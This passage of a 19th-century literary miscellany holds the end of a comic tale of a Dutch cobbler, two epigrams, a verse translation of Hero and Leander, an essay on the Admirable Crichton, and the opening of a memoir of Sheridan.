+his nature; and, while every feature in his tyrant's smoky face seemed
+illuminated with a thousand sardonic grins, having no better weapon
+at hand, Jacob hastily snatched the red cap off his head, and, taking
+deliberate aim at his persecutor, flung it bang into the very cock of
+his eye. The monster opened his jaws to utter a yell of agony, and down
+came the head of Jacob Kats upon the floor, that left him without sense
+or motion.
+
+How long the cobbler of Dort remained in this unenviable situation it is
+impossible to say, but he was first recalled to consciousness by a loud
+knocking at the door of his stall.
+
+"Jacob! Jacob Kats!" exclaimed the well-known voice of his fair
+customer, in a tone of considerable impatience; and Jacob, raising
+himself on his elbows, discovered that he had fallen back off his
+stool; and the empty flask at his side, and the unfinished work on his
+lap, while they gave him a tolerably correct notion of his condition,
+did not suggest any remedy for the fatal consequences of disappointing
+the burgomaster's nursery-maid. It is only necessary to add, that,
+with considerable difficulty, he managed to satisfy his important
+patroness; but, to the very day of his death, Jacob, who proved to be
+the last of the long dynasty of Kats who enjoyed the dignity inseparable
+from the situation of Cobbler of Dort, could not, with any degree of
+satisfaction, make up his mind as to whether the strange effects he
+had that eventful day experienced had been caused by extraordinary
+indulgence in the luxury of pickled herrings,--or too prodigal allowance
+of Schiedam,--or intense disappointment for the loss of the widow Van
+Bree.
+
+
+
+
+                 AN EPIGRAM.
+
+    On Sabbath morn two sisters rise,
+      And each to chapel goes;
+    Fair Caroline to close her eyes,
+      And Jane to eye her clothes (close).
+
+
+                   ANOTHER.
+
+    All Flora's friends have died, it seems, before her:--
+    I wish my wife had been a friend of Flora!
+
+
+
+
+               HERO AND LEANDER.
+            FROM THE GREEK OF MUSÆUS.
+
+      The lamp that saw the lovers side by side
+      In furtive clasp; the swimmer bold o' nights;
+      The close embrace Aurora never spied,
+      Sing Muse! and Sestos, nest of their delights,
+      Where Hero watched, and Eros had his rites
+      Duly performed. My song is of Leander,
+      And lovingly the beacon-lamp requites,
+      Which lured him o'er the ocean's back to wander,
+    Sweet Hero's message-light, love's harbinger and pandar.
+
+      Zeus should have placed that signal-light above,
+      (Their love-race ended) 'mid the constellations,
+      And called its name the bridal star of love,
+      As minister of rapture's keen sensations,
+      The cresset, by whose aid they found occasions
+      Of sleepless nights--till blew the fatal blast.
+      Come, Muse! and join with me in lamentations
+      For that clear night, by which love's bidding past,
+    And for Leander's life, extinguished both at last.
+
+      Sestos is opposite Abydos, near
+      And neighbour cities--parted by the sea:
+      Love with one arrow scorched a virgin there,
+      And here a youth; the fairest Hero she,
+      The handsome bachelor, Leander, he.
+      Stars of their cities, but resembling each
+      The other. Sestos keeps her memory
+      Where Hero's lamp was wont his way to teach,
+    And for Leander moans Abydos' sullen beach.
+
+      Whence grew Leander's passion? Whence again
+      Did the same fire sweet Hero's heart devour?
+      Priestess of Cypris, and of noble strain,
+      Untaught in Hymen's rites, and of love's power
+      Unconscious, Hero in a sea-side tower,
+      An ancient and ancestral pile, was dwelling,--
+      Another Cypris, but a virgin flower,
+      In sensitive white purity excelling,
+    The slander and the touch of license rude repelling.
+
+      She went not where the light-foot choir assembled,
+      Shunned ribalds, and the breath that Envy blew,
+      (The fair hate those are fairer,) and she trembled
+      At thought of young Love's quiver,--for she knew
+      His mother favoured every shaft he drew;
+      Prayers to the mother, and with girlish art
+      Cates to the son she offered: nathless flew
+      From the sly urchin's bow the fire-plumed dart
+    Straight to its destined mark, the maiden's trembling heart.
+
+      What time came round the Sestian festival,
+      Sacred to Cypris, and her Syrian fere,
+      All who inhabited the coronal
+      Of sparkling isles their way to Sestos steer;
+      Some from Emonia gather far and near;
+      Others from Cyprus; in Cythera now
+      No woman stays; in Sestos now appear
+      The Phrygian, and the dancer on the brow
+    Of spicy Lebanon, as thereto bound by vow.
+
+      Thither the virgin-hunters thick repair,
+      As is their wont; a rash and reckless race,
+      Whose prayers are only offered to the fair.
+      There moved our Hero with majestic pace;
+      A star-like glory scattered from her face
+      Sparkles of light, as when the moon discloses
+      Among the stars her cheek's clear-shining grace;
+      Like a twin-rose, one white, one red, reposes
+    On either snow-white cheek the blushing bloom of roses.
+
+      You'd say her limbs were rose-buds; for a light
+      Of rose-like hues fell from them; you might see
+      The rose-blush on her feet and ankles white;
+      And from her limbs with every movement free
+      Flowed many graces: they who feigned them three
+      Said falsely, for in Hero's laughing eyes
+      A thousand graces budded. Such was she--
+      Fit priestess of the beauty of the skies,
+    For without question hers was mortal beauty's prize.
+
+      Into the young men's minds her beauty entered:
+      Who wished not loveliest Hero for his wife?
+      Where'er she paced the temple, still she centred
+      All eyes, hearts, wishes. "I have seen the strife
+      For beauty's prize in Lacedemon, rife
+      With virgins radiant, with love's dazzling splendour;
+      But never there, nor elsewhere in my life,
+      Saw I a girl so dignified, yet tender;
+    She surely is a Grace: Oh, would Queen Cypris lend her--
+
+      "Or give her me! I've tired, not filled mine eye
+      With gazing. Let me press her dainty side,
+      And die! A god's life on Olympus high
+      Would I refuse, had I that girl for bride:
+      But, since to me thy priestess is denied,
+      Queen! let my home with such a one be gladdened."
+      Thus spake one bachelor; another tried
+      To smile and mock, as tho' he were not saddened,
+    Hiding the secret wound, which all the time him maddened.
+
+      But thou, Leander, wouldst not hide the wound,
+      And vex thy secret soul; but when Desire
+      Surprised thee looking on the maid renowned,
+      Tamed by the sudden darts of arrowy fire,
+      Thou wouldst not live without her; fiercer, higher,
+      Flamed love's hot torch, and pierced into thy marrow,
+      Fed by her eye-beams. Loveliness, entire
+      And blameless, sharper is than any arrow,
+    Reaching the heart of man thro' channel sure tho' narrow.
+
+      The liquid fire from hers to his eye glides,
+      Thence passing inward, dives into his breast:
+      A sudden whirl of thoughts his mind divides;
+      Amazement at her loveliness confest;
+      Shame at himself soon caught; fear, love's unrest,
+      And hope, impatient for love's recompense;
+      But love to this delirious whirl gave zest,
+      And furnished him with resolute impudence
+    To venture, and outface that glorious innocence.
+
+      He turned on her askant his guileful eye,
+      With speechless nods the damsel's mind assailing:
+      She gladly saw his love, and silently
+      Her sweet face ever and anon was veiling,
+      And then with furtive nods her lover hailing,
+      Bowed to him in return. He with delight
+      Observed she saw, nor scorned his love. Then, trailing
+      His robe of beams, the Day departed quite,
+    (Leander watched the hour,) and rose the star of night.
+
+      Nor, when he saw the dark-robed mist, he lingered,
+      But hastened boldly to the maid beloved,
+      And with a sigh her rosy palm he fingered.
+      But, drawing back her hand, the virgin moved
+      In silence from th' intruder; unreproved,
+      For he had seen her nods, and they were kind,
+      He pulled her broidered robe, and, as behoved,
+      He drew her gently to the gloom behind:
+    She slowly followed him, as if against her mind.
+
+      And then with art and language feminine
+      She threatened him:--"Why pullest me, lewd ranger?
+      Pursue thy way, I beg, and leave me mine.
+      To touch a priestess is a deed of danger;
+      A virgin's bed is not for any stranger."
+      She spake as virgins should; and yet she missed
+      To frighten him, who reckoned soon to change her,
+      When he her chiding heard; for well he wist
+    That women chide the most when they would fain be kissed.
+
+      Kissing her polished, fragrant neck, he cries:
+      "After the fairest Cytherea, fair!
+      And after the most wise Athena, wise!
+      For with Jove's daughters thee will I compare,
+      And not with any dames that mortal are;
+      Happy thy father! happy she who bore thee!
+      But hear, and pardon, and accept my prayer;
+      I come for love; for love I now implore thee;
+    Perform love's ministry with me, for I adore thee.
+
+      "A virgin priestess to the Cyprian Queen!
+      No grace in virgins Cytherea trows;
+      To marriage only point her rites, I ween;
+      Then if to her thy heart true service vows,
+      Accept me for thy lover and thy spouse,
+      Whom Eros hunted as a spoil for thee.
+      As Hermes of the gold-wand (Fame allows)
+      Led Hercules to serve Queen Omphale,
+    So Cytherea now, not Hermes, leadeth me.
+
+      "The tale of Atalantis too is known,
+      Who fled the couch of Prince Milanion,
+      To keep her virgin flower; but wrath was shewn
+      By Cypris, who, for scorn to marriage done,
+      Him once she loved not, made her dote upon:
+      Beware lest thou too anger her." Commenting
+      Thus cunningly, the maiden's ear he won,
+      And willing mind, to dulcet words consenting,
+    To love's soft eloquence, that genders love, relenting.
+
+      In silence on the ground she fixed her eyes,
+      And gently turned aside her glowing cheek,
+      And shuffled her small feet, and modest-wise
+      Drew round her graceful neck, and bosom sleek,
+      Her robe yet closer. These are signs that speak;
+      A virgin's silence ever means consent;
+      The bitter-sweet of love was hers, and eke
+      The glow of heart, hopeful, but not content,
+    While yet the thoughts are lost in love's first wonderment.
+
+      This for Leander gentle Hero felt;
+      But, while she downward looked, his greedy eyes
+      Fed on her neck. With words that dew-like melt,
+      While blossom on her cheek the moist red dies
+      Of modesty, she says: "Such power there lies
+      In thy sweet eloquence, that it might move
+      The flinty rock; who taught the harmonies
+      Of such enticing words? What impulse drove
+    Thee hither? Who thy guide? Oh was it, was it Love?
+
+      "Perchance thou mockest me; but how canst thou,
+      A stranger and unknown, my love enjoy?
+      I never can be thine by open vow;
+      My parents shut me up. Can we employ
+      Art for our secret, love? Oh, men destroy
+      Who trust them! ever babbling in the street
+      Of what they do in secret. Wilt decoy
+      A trusting heart to ruin? yet, as meet,
+    Speak truth; thy fatherland and name to me repeat.
+
+      "My name is Hero; my abode is lonely,
+      A tower that lifts its echoes to the sky,
+      For so my parents will; one handmaid only
+      Dwells with me there; no choirs e'er court mine eye,
+      Nor friends of equal years. The shores close by
+      Rebellow; night and day the roaring tide
+      Rings in mine ears, and eke the clanging cry
+      Of the sea-winds." She spake, and sought to hide,
+    Shamefaced, her rosy cheek, her words to chide.
+
+      Leander then did with himself advise,
+      How in love's contest he might best contend;
+      For wily Love, though wont to tyrannise,
+      Heals whom he wounds, and ever loves to lend
+      His subjects wit, their counsellor and friend.
+      He helped Leander, then, who deeply sighed,
+      And said: "Dear virgin! for our wished-for end
+      I dauntless on the rugged surge will ride,
+    Tho' in it ships be whelmed, and o'er it lightnings glide.
+
+      "Seeking thy bed, I tremble not, nor cower
+      At ocean's angry roar and frightful front:
+      A dripping bed-mate, nightly to thy tower
+      Will I swim o'er the rapid Hellespont;
+      Abydos is not far from Hero's haunt.
+      But promise me to shew a lamp, to be
+      My nightly star; and it shall be my wont,
+      E'en like a ship, to swim across the sea,
+    Thy lamp the blessed star that guides my course to thee.
+
+      "And, watching it, I ne'er will turn mine eye on
+      Setting Boötes, nor th' unwetted Wain,
+      Nor on the sworded, storm-engirt Orion,
+      But, guided by the lamp, I soon shall gain
+      Safe anchorage and sweet. Strict guard maintain
+      Against the blasts, for fear my safety-light
+      They rudely quench, and in the howling main
+      I perish so. Leander am I hight,
+    And Hero's happy spouse." Thus they their love-vows plight.
+
+      She from her tower to shew a lamp agrees,
+      And he from the swelling waves at night to cleave:
+      Then to her tower the anxious maiden flees,
+      While he must in a pinnace Sestos leave,
+      And in Abydos wait till he receive
+      The promised signal, his appointed guide,
+      When he must swim, not sail. Till they achieve
+      Love's celebration, rest is them denied.
+    Haste, Night! and canopy the bridegroom and the bride.
+
+      In veil of darkness Night ran up the sky,
+      Bringing on sleep, but not for Hero's lover;
+      He, where the swelling waves roared mightily,
+      For by the shore, stood waiting to discover
+      The lamentable lamp that lured him over--
+      To death at last. But Hero, seaward turning,
+      Perceived the gloom, and for her ocean-rover
+      Kindled the signal; but on his discerning
+    Its promised flame, he burned with love, as that was burning.
+
+      At first he trembled at the ringing roar
+      Of the mad surge, but with the soothing spell
+      Of hopeful words took courage; "What is more
+      Cruel than love, or more implacable
+      Than ocean? in moist ruin this doth swell;
+      That in the heart, a burning furnace, raves.
+      Fear not, my soul! why shouldst thou fear the hell
+      Of waters? Aphrodite from the waves
+    Sprung, and rules over them, sways our love pains and saves."
+
+      He then put off his vest with playful glee,
+      And twined it round his head; and from the shore
+      Plunged fearlessly into the surf o' the sea;
+      And where the signal shone, he hastened o'er,
+      Ship, sail, and oars himself. But yet before
+      He reached his port, how oft the Sestian flower
+      Kept off the breezes with the robe she wore
+      From the trimmed lamp! It is her nuptial hour--
+    Leander comes at last, and now ascends her tower.
+
+      With a mute clasp she welcomed to her home
+      The panting youth, and to her chamber led,
+      While from his hair fast dropt the salt sea-foam:
+      She rubbed his limbs with rose-oil, and then led
+      Her lover to her virgin couch, and said,
+      Embracing him the while, and softly willing
+      "Enough of brine and odours which bred:
+      No bridegroom but thyself was ever willing
+    To run such risk, such toil none else but thou fulfilling.
+
+      "No longer lies our joy and us between
+      That envious sea--now lay thee down to rest."
+      Silence was there, and Night drew round her screen;
+      Their nuptial troth was by no minstrel blest;
+      The bridal pair were in no hymn addrest;
+      No choir danced round them; and no torches lightened
+      About the genial bed; no marriage guest
+      Led the gay dance; nor hymeneal heightened
+    The joy, approving it; no parent's smile there brightened.
+
+      Silence arranged the couch, and Darkness drew
+      The curtains; paranymph and bridemaid none
+      Had they beside. Aurora ne'er did view
+      Leander lying, when the night was done,
+      In Hero's arms. He was already gone,--
+      Already wishing for the night again.
+      The wife at night, by day a virgin shone.
+      As thought her parents wise; while she was fain,
+    Of night, to welcome him who made their wisdom vain.
+
+      Thus they enjoyed awhile their furtive pleasure,
+      He to his bed-mate nightly swimming o'er;
+      But soon their life's bloom fell, and scant their measure
+      Of bridal hours. When came the winter frore,
+      And brought the cold blast and the whirlwind's roar,
+      Sharp gusts the bottom of the deep confounding,
+      And lashing up the main from shore to shore,
+      Whirling and rushing, roaring and rebounding,
+    The watery paths above and shaken depths astounding--
+
+      What time a desperate pilot, who no more
+      Amid the waters wild his course could hold,
+      Had run his ship upon a fork o' the shore;
+      Not then the tempest checked Leander bold,
+      For Hero's signal-light her summons told.
+      Oh! cruel, faithless light of love! to scout him
+      On such a night! to plunge him in the cold
+      And hissing waves, that rudely toss and flout him!
+    Why could not Hero sleep, while winter raged, without him?
+
+      But love and fate compelled her; light of love,
+      Drawn by desire, she shewed not, but the black
+      Torch-gloom of fate. The winds collected drove
+      Volumes of gusty darts upon the track
+      Of the sea-broken shore; but on the back
+      Of raving ocean lost Leander went.
+      The water stood in heaps; with fearful crack
+      The winds ran counter, and were madly blent,
+    Rushing from every side, in wildest minglement.
+
+      Wave upon wave! ocean with ether mixt!
+      Mighty the crash! How could Leander ride on
+      The monstrous whirl? Sore tost, he one while fixt
+      In prayer on Cypris, then on King Poseidon,
+      And e'en the fierce and frantic Boreas cried on,
+      Who then forgot his Atthis. Lover lorn!
+      None helped him, none! Love, whom he most relied on,
+      Averted not his fate; tost, tumbled, torn,
+    By every counter wave he was at random borne.
+
+      He can no longer ply his hands or feet;
+      Drench'd with the brine, his strength is failing fast;
+      On him the cruel waves remorseless beat;
+      The lamp is now extinguished by the blast,
+      And with it his young life and love at last:
+      But while the waves his lifeless body drove,
+      How many a glance poor Hero seaward cast!
+      In vain into the gloom her glances rove;
+    Her anxious thoughts a pool of spectred troubles move.
+
+      The morning came, nor yet Leander came!
+      Upon the sea's broad back her glance was thrown,
+      If haply, missing that unfaithful flame,
+      He wandered there; but soon she spied him strown
+      A mangled corse below. She tore her gown,
+      And shrieked, and for Leander madly cried,
+      And from the tower fell whizzing headlong down.
+      Thus, on her husband dead sweet Hero died,
+    And who were joined in life, then death did not divide.
+
+
+
+
+                  THE ADMIRABLE CRICHTON.
+
+"Signor Giacomo caro, non vi accorgete che sete un giovane senza pare?
+Nobile, bello, dotto, e robusto, ed alto quasi egualmente, or lingua or
+mano ad oprando, a dire e fare ogni bene?"
+
+
+So, in or about the year of Grace 1582, wrote Sperone Speroni the
+Paduan, to James Crichton the Scotchman:
+
+"Dear James, do you not know that you have no equal? Noble, handsome,
+learned, and robust,--equally apt to use the tongue or the hand,--to say
+or to do what is excellent?"
+
+There cannot be the smallest doubt that James knew all this himself;
+and now, since the appearance of Mr. Ainsworth's romance, all the world
+knows it. Wherefore, as the Admirable has suddenly become an object of
+admiration, we are moved to say a few words about him.
+
+A number of learned people, remarkable chiefly for the dullness of
+their learning, have on various occasions undertaken to prove the
+egregious quackery and pretension of the famous Scot. Such-like people
+are, naturally enough, given to such researches; for they cannot endure
+in any shape the rebuke of an obvious superiority. "How now, thou
+particular fellow?" said Jack Cade to the man who sought to recommend
+himself on the score of being able to write and read; and, "How now,
+thou particular fellow?" is the exclamation of plodding pedants to
+the illustrious Crichton, when, instead of approaching them covered
+with the dust of folios, he bounds into their presence beaming with
+grace and beauty, the idol of the gay and the young, the observed of
+all observers, crowned with the favours of women, and followed by the
+applauding shouts of men!
+
+We are not pedants, and therefore we have faith in Crichton. How
+otherwise? In philosophy and learning was he not a Bayle's Dictionary?
+In the universality of his literary accomplishments, a perfect Bentley's
+Miscellany? Who shall impugn the opinions of the most classic time of
+Scotland, or set up his dogmas against the generous acknowledgments of
+Italy in her golden day? And was not Crichton so beautiful in body only
+because he was in mind so beautiful;--for, where true beauty exists, who
+would separate body from mind? Shade of the Admirable, forgive your poor
+detractors, for the sake of the true worship your memory has inspired!
+It was natural that to the sight of many men, before whom in life you
+strode on so far, you should have dwindled in the distance; but now,
+after many years, you reappear again, graceful as ever in form, and
+wonderful in accomplishments. We hail you as we should some missing star
+that once more "swims into our ken!"
+
+And what sort of fame is that, the reader possibly asks, which may seek
+from the hands of some novelist or romancer its privilege of continuance
+in the mouths of men? Let that reader first ask himself how many
+brilliant actions there are which pass away and are forgotten--while
+a thousandth part of the effort that produced them, embodied in a few
+words, might have lived for ever. It was the remark of an old writer,
+that words harden into substances, while bodies moulder away into air.
+Even Cæsar and Alexander weigh little in comparison with Virgil and
+Homer. Now Crichton might have been a Cæsar or an Alexander, if he had
+had legions at his back; or, without the legions, if his youth had
+been allowed to ripen into age. The great principle of his being was a
+stirring and irrepressible activity. His learning was as prodigious as
+his accomplishments; but how, in the short six or seven years of his
+public life, could he have exhibited them to the admiration of Europe,
+if he had set to work in the fashion of the schoolmen? With a probable
+forecast of his early doom, he bethought himself of a different way.
+He made up for the brevity of his life, by its brightness. He kindled
+all its fires at once. Resolved to abate no single particle of his
+brilliancy among the great men of his time, he rose at once to the
+topmost height of his possible achievements, careless whether he should
+fall among posterity, dark as a spent rocket, and recognizable by a few
+fragments of faded paper only. But what of that? What he designed to
+do, he did. He struck the blow he had desired to strike. And which of
+the Great Men has done more? How many have done lamentably less! We see
+the beauty and the learning of Crichton reflected back from the most
+intellectual minds of the greatest day that ever shone upon Scotland or
+Italy. What nobler mirror?
+
+Justly Mr. Ainsworth remarks--"It is from the effect produced upon his
+contemporaries, and _such_ contemporaries, that we can form a just
+estimate of the extent of Crichton's powers. By them he was esteemed a
+miracle of learning--_divinum planè juvenem_: and we have an instance
+in our own times of a great poet and philosopher, whose published
+works scarcely bear out the high reputation he enjoyed for colloquial
+ability. The idolized friend of Aldus Manutius, of Lorenzo Massa,
+Giovanni Donati, and Sperone Speroni, amongst the must accomplished
+scholars of their age,--the antagonist of the redoubted Arcangelus
+Mercenarius and Giacomo Mazzoni, men who had sounded all the depths
+of philosophy,--could not have been other than an extraordinary
+person." The allusion to Coleridge here is not altogether out of place.
+Coleridge, like Crichton, though in a humbler sphere, preferred prompt
+payment to the tardy waiting for posterity. With both it was in some
+sort necessary that the effort and the applause should go together. To
+Coleridge, for instance, so strong had this habit of excessive talking
+become, even the certainty of seeing what he wrote in print the next day
+was too remote a stimulus for his imagination; and it was a constant
+practice of his to lay aside his pen in the middle of an article, if
+a friend happened to drop in upon him, and to finish the subject more
+effectually aloud, so that the approbation of his hearer and the sound
+of his own voice might be co-instantaneous. But what would Coleridge
+have done, if, besides having to write an article for the Courier,
+in which he was to unravel some transcendentalism about humanity and
+universal brotherhood into a slavish support of the Allies--(a difficult
+task we admit),--if, besides this, the ball-room, the ladies' chamber,
+the hunting-fields, the riding-house, the lists at the Louvre, and some
+profoundly learned controversies with the doctors of Navarre or Padua,
+had all, nearly at the same instant, awaited him? Poor Coleridge would
+have died at twenty, untouched by opium, and unknown, except by the
+admiring testimonies of his less accomplished contemporaries.
+
+Mr. Ainsworth has omitted, by-the-by, a very characteristic, and,
+we think, a very decisive opinion of Crichton, by the famous Joseph
+Scaliger. "He was a man of very wonderful genius," observes that
+laborious and self-satisfied person; "but he had something of the
+coxcomb about him. He wanted a little common sense." Here is an
+unbiassed opinion. What Joseph means by the coxcombry is obvious enough.
+Why, thinks Joseph, should a scholar have cheerfulness of blood? All
+the women ran after Crichton,--a most indecorous thing, and a certain
+evidence of coxcombry to a person who cannot get a woman to run after
+him,--"Nor were the young unmarried ladies," as Sir Thomas Urquhart
+remarks in his jewel of a book, "of all the most eminent places of
+Italy anything respected of one another, that had not either a lock of
+Crichtown's haire, or a copy of verses of his composing." Who doubts his
+coxcombry, or that it was other than a very delightful thing in him?
+
+A want of common sense, in Scaliger's notion, was probably an over
+supply of modesty. Nothing is so remarkable in Crichton as the modesty
+which in him united with the most perfect confidence. He proved that a
+coxcomb and a confident man may possess the truest modesty. There is a
+charming anecdote told of him at a great levee of learned men in Padua,
+where, having exposed the errors of the school of Aristotle with equal
+solidity, modesty, and acuteness, and perceiving that the enthusiasm
+of his audience was carrying them too far in admiration of himself, he
+suddenly changed his tone, assumed an extreme playfulness of manner, and
+declaimed in exquisite phrase upon the _happiness of ignorance_. Nothing
+could have been so perfectly devised to self-check any exuberance of
+pride. But in all things his modesty was remarkable, when taken in
+connexion with his extraordinary powers. Observe it in the circumstance
+of his melancholy death, where a romantic sense of what was due to his
+prince and master induced him to throw aside his unmatchable skill, and
+present himself naked and defenceless to the dagger of an assassin.
+This was not weakness in Crichton. Himself the descendant of rulers of
+the earth, of princes and bishops,--(shall we ever forget that perfect
+model of ecclesiastical fitness, Bishop George Crichton of Dunkeld, "a
+man nobly disposed, very hospitable, and a magnificent housekeeper, but
+in matters of religion not much skilled"?)--a weak and unmanly feeling
+would have given him presumption, not deference,--would have thrown
+insult in the face of Gonzaga, and not ill-required chivalry at his feet.
+
+But what more need we say of Crichton? Have not three volumes of
+brilliant writing been just devoted to the delineation of two days of
+his matchlessly brilliant life? We may refer the reader, whether he
+is curious after the Admirable Crichton, or after his own amusement
+solely, to William Harrison Ainsworth's last romance. An expression of
+character equally poetic and dramatic, a rich glow of colouring which
+diffuses itself through every part of the work, and a generally easy and
+effective style, have secured for this book a high and permanent place
+in the literature of fiction.
+
+   [Illustration: R B Sheridan]
+
+
+
+
+                     MEMOIRS OF SHERIDAN.
+
+Though it may appear paradoxical to say so, yet there is no more
+melancholy reading than the biography of a celebrated wit. In nine
+out of ten cases, what is such a memoir other than a record of acute
+suffering, the almost inseparable attendant of that thoughtless and
+mercurial temperament which cannot, or will not, conform to the staid
+usages society; which makes ten enemies where it makes one friend; is
+engaged in a constant warfare with common sense, and lives for the day,
+letting the morrow shift for itself? Instances there are of prosperous
+wits, such as Congreve, Pope, and some others that we could mention,
+whose singular tact and provident habits have preserved them from the
+usual fate of their fraternity; but these instances are rare: the
+majority, though enjoying, it is true, their sunny hours, and realising
+for a brief season their most brilliant hopes, have struggled through
+life a prey to the bitterest disappointments.
+
+The life of Sheridan will go far to verify these cursory remarks. No wit
+ever enjoyed more intoxicating successes, or suffered more humiliating
+reverses. He had frequent opportunities of realising a handsome
+independence; but, with that recklessness and inattention to the
+business of life peculiar to such natures as his, he flung away all his
+chances, and died a beggar, deserted by almost all his old associates,
+his celebrity on the wane, and his character under a cloud. Never was
+there a more impressive homily than his death-bed inculcates; it speaks
+to the heart, like the closing scene of "great Villiers," and is worth
+all the sermons that ever were preached from the pulpit.
+
+Many, however, of poor Sheridan's defects seem to have descended to
+him as a sort of heir-loom from his ancestors. His grandfather, Dr.
+Sheridan, the friend and butt of Swift, though an amiable, was a
+singularly reckless and improvident man; and his father, the well-known
+teacher of elocution, is mentioned more then once by Johnson as being
+remarkable for nothing so much as his "wrong-headedness." It is but
+justice, however, to this individual to state, that by fits and starts
+he paid every attention to his son's education that his straitened means
+and capricious temper would allow. In the year 1758, when young Sheridan
+had just completed his seventh year, he sent him to a private school in
+Dublin, whence, at the expiration of fourteen months, he brought him
+over with him to England, and placed him at Harrow, under the care of
+Dr. Sumner. From this period to the day of his death, the subject of our
+memoir never again beheld his native city.
+
+Sheridan had not been long at Harrow when he attracted the favourable
+notice of Dr. Parr, at that time one of the head-masters of the
+establishment, who, perceiving in him unquestionable evidences of
+superior capacity, did all he could to stimulate him to exertion. But
+his endeavours were fruitless, for the boy was incorrigibly idle, though
+a general favourite by reason of his good-humour and the social turn
+of his mind,--and left Harrow at the age of eighteen, with a slender
+amount of Latin and less Greek, but at the same time with a very fair
+acquaintance with the lighter branches of English literature.
+
+In the year 1770, Sheridan accompanied his family to Bath, which was
+then what Cheltenham and Brighton now are,--the head-quarters of gaiety
+and dissipation. Here he promptly signalised himself, after the usual
+Irish fashion, by an elopement and two duels; thus literally fighting
+his way to celebrity! The young lady who was the cause of these
+sprightly sallies was Miss Linley, daughter of the eminent musician of
+that name, and one of the most beautiful women of her day. At the time
+when Sheridan first became acquainted with her she was but sixteen, the
+favourite vocalist at the Bath concerts, and the standing toast of all
+the wits and gallants of the city. It is to the impassioned feelings
+which the charms of this lovely girl called forth in his breast that we
+owe our hero's first decided plunge into unequivocal poetry. Having on
+one occasion--for the families of the young couple were in habits of
+strict intimacy--presumed to offer her some sober counsel, she resented
+his officiousness, and a quarrel took place between them, which was not
+made up till Sheridan sent some stanzas of a most penitential character,
+by way of a peace-offering. We subjoin a specimen or two of this poem,
+which evinces unquestionable feeling, but is deformed, as was the
+fashion of those days, by tawdry and puerile conceits:
+
+    Oh, this is the grotto where Delia reclined,
+      As late I in secret her confidence sought;
+    And this is the tree kept her safe from the wind,
+      As blushing she heard the grave lesson I taught.
+
+    Then tell me, thou grotto of moss-covered stone,
+      And tell me, thou willow, with leaves dripping dew,
+    Did Delia seem vexed when Horatio was gone,
+      And did she confide her resentment to you?
+
+    Methinks now each bough, as you're waving it, tries
+      To whisper a cause for the sorrow I feel,
+    To hint how she frowned when I dared to advise,
+      And sighed when she saw that I did it with zeal.
+
+    True, true, silly leaves, so she did, I allow;
+      She frowned, but no rage in her looks could I see;
+    She frowned, for reflection had clouded her brow;
+      She sighed, but perhaps 'twas in pity to me.
+
+    Then wave thy leaves brisker, thou willow of woe,
+      I tell thee no rage in her looks I could see;
+    I cannot, I will not, believe it was so;
+      She was not, she could not, be angry with me.
+
+    For well did she know that my heart meant no wrong;
+      It sank at the thought but of giving her pain;
+    But trusted its task to a faltering tongue,
+      Which erred from the feelings it could not explain.
+
+Sentimental poetry, it is well known, has a great effect in softening
+the female heart; and Sheridan soon succeeded in sonnetteering Miss
+Linley into sympathy. He had, however, a sturdy opponent to contend
+against in the person of Captain Mathews, a married man, of specious
+address and persevering gallantry. This _roué_ beset the fair vocalist
+in every possible way, and, when mildly but firmly repulsed, threw out a
+menace of attacking her good fame. Alarmed at this unmanly threat, and
+at the consequences of her father's indignation should the captain's
+dishonourable proposals become known to him, Miss Linley had recourse to
+Sheridan, who instantly advised her to accept of his escort to France,
+where he promised that he would place her under the secure protection of
+a convent. With some hesitation she complied with his advice, assisted
+not a little in her resolution by the repugnance which she had long
+entertained to her profession; and the parties set out for Calais,
+accompanied by a third person, a female, by way of chaperon.
+
+On reaching the place of their destination, Sheridan at once threw off
+the mask of the friend, and, addressing Miss Linley as the lover, so
+worked upon her feelings by artful hints about the injury her character
+would sustain, if she did not give him a legal title to protect her,
+that she consented to a private marriage, which accordingly took place
+in 1772, at a little village near Calais. The parties then made the best
+of their way back to England where they returned to their respective
+families; old Linley, from whom the marriage was kept a profound secret,
+being, of course, not less incensed than surprised by the, to him,
+unaccountable conduct of his daughter.
+
+Meanwhile Captain Mathews, on learning Miss Linley's extraordinary
+flight, instantly made good his threat of defaming her character in the
+local journals, for which he was twice called out by Sheridan, who in
+the second duel received a wound which long confined him to his bed.
+His situation at this period must have been one of extreme uneasiness.
+He was separated from his wife, and was on ill terms with his father,
+who, on his return from London shortly after the catastrophe, refused
+to see him, and even went the length of forbidding any of his family to
+hold the slightest intercourse with the Linleys. A communication was
+nevertheless kept up between the lovers through the agency of Sheridan's
+sisters, who had not the heart to resist the imploring appeals of their
+brother.
+
+In the autumn of 1772 the young Benedict was sent by his father--who was
+anxious to detach him wholly from the Linleys--to the house of a friend
+in Essex, where he remained for some months in strict retirement, and
+spent much of his time in study. While here, he paid occasional flying
+visits to London, for the purpose of seeing his wife, who was then
+professionally engaged at the Covent Garden oratorios; but, finding no
+means of procuring an interview with her, so closely was she watched
+by her father, he more than once, it is said, disguised himself as a
+hackney-coachman, for the sole pleasure of driving her home from the
+theatre.
+
+The time, however, was at hand when his perseverance was to meet with
+its reward. Old Linley, finding that neither threat, supplication, nor
+remonstrance could change the current of his daughter's affections and
+that, by some mysterious process, letters from her husband always found
+their way into her hands, at length gave his reluctant consent to their
+union, and they were re-married, by licence, in 1773.
+
+About this time Sheridan entered himself of the Middle Temple, and took
+a small cottage at East Burnham, whither he retired immediately after
+his marriage, with no other resources than his wife's slender jointure
+and his own talents afforded him. Yet, though cramped in his finances,
+he had the fortitude to resist all the golden temptations which Mrs.
+Sheridan's musical abilities held out to him; and withdrew her for ever
+from public life, resolving henceforth to be himself the artificer of
+his own fortunes.
+
+After a short stay at East Burnham, to which in after-years he often
+looked back with regret as being the happiest period of his life,
+Sheridan took a house in the neighbourhood of Portman-square, which his
+father-in-law kindly furnished for him. Here he laboured with great
+assiduity; wrote several political tracts, among which was a reply to
+"Junius;" and completed his comedy of the "Rivals," which was brought
+out at Covent Garden in the year 1775, and proved a failure on its first
+representation, though it subsequently won its way into public favour.
+The "Rivals" is a lively play, whose interest seldom or never flags; is
+easy and graceful in its dialogue; and contains one or two characters
+drawn with consummate skill. That of Falkland, in particular,--the
+sensitive, wayward lover, the idea of which was, no doubt, suggested
+by Sheridan's own personal experience,--is a masterpiece; and not less
+effective is the sketch of Sir Anthony Absolute. Mrs. Malaprop--an
+evident imitation of Fielding's Mrs. Slip-slop--is a mere whimsical
+caricature; while, as respects Lydia Languish, she is one of the insipid
+common-places to be picked up at all watering-places, well delineated,
+it is true, but scarcely worth the labour of delineation.
+
